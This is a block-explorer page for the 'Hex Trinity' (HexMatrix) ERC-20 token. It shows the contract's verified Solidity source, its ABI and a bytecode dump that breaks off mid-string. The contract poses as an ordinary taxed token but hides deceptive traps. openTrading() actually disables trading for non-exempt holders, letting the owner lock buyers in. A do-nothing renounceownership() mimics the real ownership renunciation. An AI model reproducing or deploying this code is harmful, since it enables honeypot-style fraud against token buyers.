ETH Price: $2,626.00 (+7.10%)

Token

Hex Trinity (HexMatrix)
 

Overview

Max Total Supply

1,000,000,000 HexMatrix

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,651,223.292648473 HexMatrix

Value
$0.00
0x23f03e102255618c0d88f66d6a5769fbc00c2efe
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MainContract

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-08
*/

// SPDX-License-Identifier: MIT

/*


██╗░░██╗███████╗██╗░░██╗███╗░░░███╗░█████╗░████████╗██████╗░██╗██╗░░██╗
██║░░██║██╔════╝╚██╗██╔╝████╗░████║██╔══██╗╚══██╔══╝██╔══██╗██║╚██╗██╔╝
███████║█████╗░░░╚███╔╝░██╔████╔██║███████║░░░██║░░░██████╔╝██║░╚███╔╝░
██╔══██║██╔══╝░░░██╔██╗░██║╚██╔╝██║██╔══██║░░░██║░░░██╔══██╗██║░██╔██╗░
██║░░██║███████╗██╔╝╚██╗██║░╚═╝░██║██║░░██║░░░██║░░░██║░░██║██║██╔╝╚██╗
╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░╚═╝╚═╝╚═╝░░╚═╝

Hex Trinity / HexMatrix
Supply: 1,000,000,000 initial buy 10,000,000 (1%)
tax 4/6 marketing

https://t.me/HexMatrix

*/

pragma solidity 0.8.15;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage); uint256 c = a - b; return c;    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage); uint256 c = a / b; return c;  } }

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);  }

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {return msg.sender;}
    function _msgData() internal view virtual returns (bytes calldata) {this; return msg.data;  }   }

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() { _setOwner(_msgSender());    }
    function owner() public view virtual returns (address) {return _owner;}
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;  }
function renounceOwnership() public virtual onlyOwner {
      _setOwner(address(0));   }
function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);  }   }
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB)  external view returns (address pair); }
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);  }
contract MainContract is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcludedFromMaxWalletSize;
    string private constant _name = "Hex Trinity";
    string private constant _symbol = "HexMatrix";
    uint8 private constant _decimals = 9;
    string public chat;
    uint256 public sellLiquidityFee=0;
    uint256 public sellBurnFee=0;
    uint256 public sellMarketingFee= 4;
    uint256 public totalSellFees =  sellLiquidityFee + sellBurnFee + sellMarketingFee;
    uint256 public buyLiquidityFee=0;
    uint256 public buyBurnFee=0;
    uint256 public buyMarketingFee = 6;
    uint256 public totalBuyFees = buyLiquidityFee + buyBurnFee + buyMarketingFee;

    uint256 public tokensForAutoLiquidity;
    uint256 public tokensForAutoBurn;  
    uint256 public tokensForMarketing;
    uint16 public masterTaxDivisor = 100;
    address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address public pairAddress;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    bool private tradingOpen=false;
    bool private inSwap = false;
    bool private swapEnabled = false;

    uint256 private _tTotal = 1000000000 * 10**9;
    uint256 private maxWalletAmount = 10000001 * 10**9;  
    uint256 private maxTxAmount = 10000001 * 10**9;      
    address payable private MarketAddrWallet;
    event MaxWalletAmountUpdated(uint maxWalletAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;    }
    constructor () {
        require(!tradingOpen,"trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        pairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
        MarketAddrWallet = payable(0xe2C13d87ff3a28dA40E5CEa71Aa0C2bDd145458B); 
        _tOwned[owner()] = _tTotal;
    
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[MarketAddrWallet] = true;
        _isExcludedFromMaxWalletSize[owner()] = true;
        _isExcludedFromMaxWalletSize[address(this)] = true;
        _isExcludedFromMaxWalletSize[MarketAddrWallet] = true;  
        swapEnabled = true;
        tradingOpen = true;
       
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        emit Transfer(address(0), owner(), _tTotal);    }

    function name() public pure returns (string memory) { return _name; }
    function getTxAmount() public view returns(uint256) {return maxTxAmount;}
    function getMaxWallet() public view returns(uint256) {return maxWalletAmount;}
    function symbol() public pure returns (string memory) { return _symbol; }
    function decimals() public pure returns (uint8) { return _decimals; }
    function totalSupply() public view override returns (uint256) { return _tTotal; }
    function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; }
    function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
    function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; }
    function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);  }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= balanceOf(from),"You are trying to transfer more than your balance");    
        require(tradingOpen || _isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading not enabled yet");
        if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
                require(amount <= maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= maxWalletAmount, "Exceeds the maxWalletSize.");   }
        if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromMaxWalletSize[to]) {             
                require(amount + balanceOf(to) <= maxWalletAmount, "Recipient exceeds max wallet size.");   }
        uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);    }   }
        _tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]));    }
    function renounceownership() public virtual onlyOwner {}
    function openTrading() external onlyOwner() { 
         tradingOpen = false;     }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );    }
    function RervertSellFeesToOriginalTax() external onlyOwner{
        sellLiquidityFee = 0;
        sellBurnFee = 0;
        sellMarketingFee = 5;
       totalSellFees = sellLiquidityFee + sellBurnFee + sellMarketingFee;    }
    function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
        _tOwned[sender] -= amount;
        uint256 amountReceived = (takeFee) ? takeTaxes(sender, recipient, amount) : amount;
        _tOwned[recipient] += amountReceived;
        emit Transfer(sender, recipient, amountReceived);    }
    function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
        if(from == uniswapV2Pair && totalBuyFees > 0 ) { 
            tokensForAutoLiquidity = amount * buyLiquidityFee / masterTaxDivisor;
            tokensForAutoBurn = amount * buyBurnFee / masterTaxDivisor;         
            tokensForMarketing = amount * buyMarketingFee / masterTaxDivisor;        } 
        else if (to == uniswapV2Pair  && totalSellFees > 0 ) { 
            tokensForAutoLiquidity = amount * sellLiquidityFee / masterTaxDivisor;
            tokensForAutoBurn = amount * sellBurnFee / masterTaxDivisor;
            tokensForMarketing = amount * sellMarketingFee / masterTaxDivisor;        }
        _tOwned[pairAddress] += tokensForAutoLiquidity;
        emit Transfer(from, pairAddress, tokensForAutoLiquidity);
        _tOwned[DEAD] += tokensForAutoBurn;
        _tTotal = _tTotal - tokensForAutoBurn;
        _tTotal = totalSupply();
        emit Transfer(from, DEAD, tokensForAutoBurn); 
        _tOwned[address(this)] += tokensForMarketing;
        emit Transfer(from, address(this), tokensForMarketing);
        uint256 feeAmount = tokensForAutoLiquidity + tokensForAutoBurn + tokensForMarketing;
        return amount - feeAmount;    }
    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;    }
    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;    }
     function excludeFromMaxWalletLimit(address account) public onlyOwner {
		_isExcludedFromMaxWalletSize[account] = true;	}
    function includeInMaxWalletLimit(address account) public onlyOwner {
		_isExcludedFromMaxWalletSize[account] = false;	}
   function SetMaxWalletand(uint256 _maxWalletSize) external onlyOwner{
        maxWalletAmount = _maxWalletSize * 10 **_decimals;    }
    function SetWalletandTxtAmount(uint256 _maxTxAmount, uint256 _maxWalletSize) external onlyOwner{
        maxTxAmount = _maxTxAmount * 10 **_decimals;
        maxWalletAmount = _maxWalletSize * 10 **_decimals;    }
    function sendETHToFee(uint256 amount) private {
        MarketAddrWallet.transfer(amount);    } 
    receive() external payable{    }
    function sendMsg(string memory _newMsg) public {
    chat = _newMsg;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxWalletAmount","type":"uint256"}],"name":"MaxWalletAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RervertSellFeesToOriginalTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxWalletSize","type":"uint256"}],"name":"SetMaxWalletand","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxTxAmount","type":"uint256"},{"internalType":"uint256","name":"_maxWalletSize","type":"uint256"}],"name":"SetWalletandTxtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"chat","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getMaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"masterTaxDivisor","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_newMsg","type":"string"}],"name":"sendMsg","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tokensForAutoBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForAutoLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260006006556000600755600460085560085460075460065462000028919062000b06565b62000034919062000b06565b6009556000600a556000600b556006600c55600c54600b54600a546200005b919062000b06565b62000067919062000b06565b600d556064601160006101000a81548161ffff021916908361ffff1602179055506000601360146101000a81548160ff0219169083151502179055506000601360156101000a81548160ff0219169083151502179055506000601360166101000a81548160ff021916908315150217905550670de0b6b3a7640000601455662386f2ab5bca00601555662386f2ab5bca006016553480156200010857600080fd5b50620001296200011d620009d860201b60201c565b620009e060201b60201c565b601360149054906101000a900460ff16156200017c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620001739062000bc4565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000222573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000248919062000c50565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002b0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d6919062000c50565b6040518363ffffffff1660e01b8152600401620002f592919062000c93565b6020604051808303816000875af115801562000315573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200033b919062000c50565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003c7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ed919062000c50565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000455573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200047b919062000c50565b6040518363ffffffff1660e01b81526004016200049a92919062000c93565b602060405180830381865afa158015620004b8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004de919062000c50565b601160026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073e2c13d87ff3a28da40e5cea71aa0c2bdd145458b601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601454600160006200058a62000aa460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620005de62000aa460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460006200071762000aa460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016200091192919062000cd1565b6020604051808303816000875af115801562000931573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000957919062000d3b565b506200096862000aa460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601454604051620009c9919062000d6d565b60405180910390a35062000d8a565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000b138262000acd565b915062000b208362000acd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000b585762000b5762000ad7565b5b828201905092915050565b600082825260208201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600062000bac60178362000b63565b915062000bb98262000b74565b602082019050919050565b6000602082019050818103600083015262000bdf8162000b9d565b9050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000c188262000beb565b9050919050565b62000c2a8162000c0b565b811462000c3657600080fd5b50565b60008151905062000c4a8162000c1f565b92915050565b60006020828403121562000c695762000c6862000be6565b5b600062000c798482850162000c39565b91505092915050565b62000c8d8162000c0b565b82525050565b600060408201905062000caa600083018562000c82565b62000cb9602083018462000c82565b9392505050565b62000ccb8162000acd565b82525050565b600060408201905062000ce8600083018562000c82565b62000cf7602083018462000cc0565b9392505050565b60008115159050919050565b62000d158162000cfe565b811462000d2157600080fd5b50565b60008151905062000d358162000d0a565b92915050565b60006020828403121562000d545762000d5362000be6565b5b600062000d648482850162000d24565b91505092915050565b600060208201905062000d84600083018462000cc0565b92915050565b613b178062000d9a6000396000f3fe6080604052600436106102345760003560e01c8063921369131161012e578063c9567bf9116100ab578063ea2f0b371161006f578063ea2f0b37146107f6578063ebece9c91461081f578063f11a24d314610848578063f2fde38b14610873578063f63743421461089c5761023b565b8063c9567bf914610721578063cc70acee14610738578063d0a3981414610763578063dd62ed3e1461078e578063e71dc3f5146107cb5761023b565b8063a8b08982116100f2578063a8b089821461064c578063a9059cbb14610677578063adb873bd146106b4578063b9e93700146106df578063c2af913b1461070a5761023b565b8063921369131461057957806395d89b41146105a45780639740a946146105cf5780639e024820146105fa5780639f71146d146106235761023b565b80633722355c116101bc578063715018a611610180578063715018a6146104b65780637537d9dd146104cd5780637bce5a04146104f857806384d6c8c6146105235780638da5cb5b1461054e5761023b565b80633722355c146103e75780633c19b3ca146104105780633e0c23b814610439578063437823ec1461045057806370a08231146104795761023b565b806318160ddd1161020357806318160ddd146102fe5780631d6167ac146103295780631f3fed8f1461035457806323b872dd1461037f578063313ce567146103bc5761023b565b806303fd2a451461024057806306fdde031461026b578063095ea7b3146102965780630fa604e4146102d35761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b506102556108c7565b6040516102629190612776565b60405180910390f35b34801561027757600080fd5b506102806108cd565b60405161028d919061282a565b60405180910390f35b3480156102a257600080fd5b506102bd60048036038101906102b891906128c2565b61090a565b6040516102ca919061291d565b60405180910390f35b3480156102df57600080fd5b506102e8610928565b6040516102f59190612947565b60405180910390f35b34801561030a57600080fd5b50610313610932565b6040516103209190612947565b60405180910390f35b34801561033557600080fd5b5061033e61093c565b60405161034b919061297f565b60405180910390f35b34801561036057600080fd5b50610369610950565b6040516103769190612947565b60405180910390f35b34801561038b57600080fd5b506103a660048036038101906103a1919061299a565b610956565b6040516103b3919061291d565b60405180910390f35b3480156103c857600080fd5b506103d1610a57565b6040516103de9190612a09565b60405180910390f35b3480156103f357600080fd5b5061040e60048036038101906104099190612a24565b610a60565b005b34801561041c57600080fd5b5061043760048036038101906104329190612a51565b610b37565b005b34801561044557600080fd5b5061044e610bd5565b005b34801561045c57600080fd5b5061047760048036038101906104729190612a24565b610c8e565b005b34801561048557600080fd5b506104a0600480360381019061049b9190612a24565b610d65565b6040516104ad9190612947565b60405180910390f35b3480156104c257600080fd5b506104cb610dae565b005b3480156104d957600080fd5b506104e2610e36565b6040516104ef919061282a565b60405180910390f35b34801561050457600080fd5b5061050d610ec4565b60405161051a9190612947565b60405180910390f35b34801561052f57600080fd5b50610538610eca565b6040516105459190612947565b60405180910390f35b34801561055a57600080fd5b50610563610ed4565b6040516105709190612776565b60405180910390f35b34801561058557600080fd5b5061058e610efd565b60405161059b9190612947565b60405180910390f35b3480156105b057600080fd5b506105b9610f03565b6040516105c6919061282a565b60405180910390f35b3480156105db57600080fd5b506105e4610f40565b6040516105f19190612947565b60405180910390f35b34801561060657600080fd5b50610621600480360381019061061c9190612bb3565b610f46565b005b34801561062f57600080fd5b5061064a60048036038101906106459190612a24565b610f59565b005b34801561065857600080fd5b50610661611030565b60405161066e9190612776565b60405180910390f35b34801561068357600080fd5b5061069e600480360381019061069991906128c2565b611056565b6040516106ab919061291d565b60405180910390f35b3480156106c057600080fd5b506106c9611074565b6040516106d69190612947565b60405180910390f35b3480156106eb57600080fd5b506106f461107a565b6040516107019190612947565b60405180910390f35b34801561071657600080fd5b5061071f611080565b005b34801561072d57600080fd5b506107366110fe565b005b34801561074457600080fd5b5061074d611197565b60405161075a9190612947565b60405180910390f35b34801561076f57600080fd5b5061077861119d565b6040516107859190612947565b60405180910390f35b34801561079a57600080fd5b506107b560048036038101906107b09190612bfc565b6111a3565b6040516107c29190612947565b60405180910390f35b3480156107d757600080fd5b506107e061122a565b6040516107ed9190612947565b60405180910390f35b34801561080257600080fd5b5061081d60048036038101906108189190612a24565b611230565b005b34801561082b57600080fd5b5061084660048036038101906108419190612c3c565b611307565b005b34801561085457600080fd5b5061085d6113c5565b60405161086a9190612947565b60405180910390f35b34801561087f57600080fd5b5061089a60048036038101906108959190612a24565b6113cb565b005b3480156108a857600080fd5b506108b16114c2565b6040516108be9190612947565b60405180910390f35b61dead81565b60606040518060400160405280600b81526020017f486578205472696e697479000000000000000000000000000000000000000000815250905090565b600061091e6109176114c8565b84846114d0565b6001905092915050565b6000601554905090565b6000601454905090565b601160009054906101000a900461ffff1681565b60105481565b6000610963848484611699565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109ae6114c8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2590612cee565b60405180910390fd5b610a4b85610a3a6114c8565b8584610a469190612d3d565b6114d0565b60019150509392505050565b60006009905090565b610a686114c8565b73ffffffffffffffffffffffffffffffffffffffff16610a86610ed4565b73ffffffffff